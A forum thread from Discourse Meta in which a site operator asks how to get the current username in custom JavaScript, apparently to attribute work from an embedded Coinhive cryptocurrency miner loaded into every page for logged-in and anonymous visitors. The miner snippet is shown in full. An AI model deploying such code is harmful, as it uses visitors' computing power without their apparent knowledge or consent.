Set current User in Javascript

Hello,

i will use Discourse.User.currentProp(‘username’) or Discourse.User.currentProp(‘id’) in a design

Insert in Admin / Customize / CSS/HTML / </body>

<scirpt>
alert(Discourse.User.currentProp('username'));
</script>

I’m sorry, but what’s your question? Here on Meta, Discourse.User.currentProp('username') evaluates to "fefrei" for me, so this seems to work :slight_smile:

You type it in the Debug Consoel right? That work for me.

But not in this Javascript example.

There i get this error.

1 Like

Your code is most likely running too early, before Discourse is initialized.
How to fix this (or whether it needs a fix at all) depends on what you’re trying to do. In which context will the JavaScript code needing the username actually run?

2 Likes

I will try this https://coin-hive.com/

i have in the body this…

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/discourse-plugin" version="0.2">
var miner = new CoinHive.User('<site-key>', 'test', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });
    miner.start();
</script>

Then i see how many make the user test. That will i set to the userid or username.

If the user not logged in i will use this

var miner = new CoinHive.Anonymous('<site-key>', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });

In that case, I think the proper way is to use the official plugin API described here:

It has a function to retrieve the current user:

https://github.com/discourse/discourse/blob/master/app/assets/javascripts/discourse/lib/plugin-api.js.es6#L40

(But I have to add that the idea of mining a cryptocurrency in JavaScript on a web app seems weird and wrong.)

8 Likes

Thanks i it work now :slight_smile:

1 Like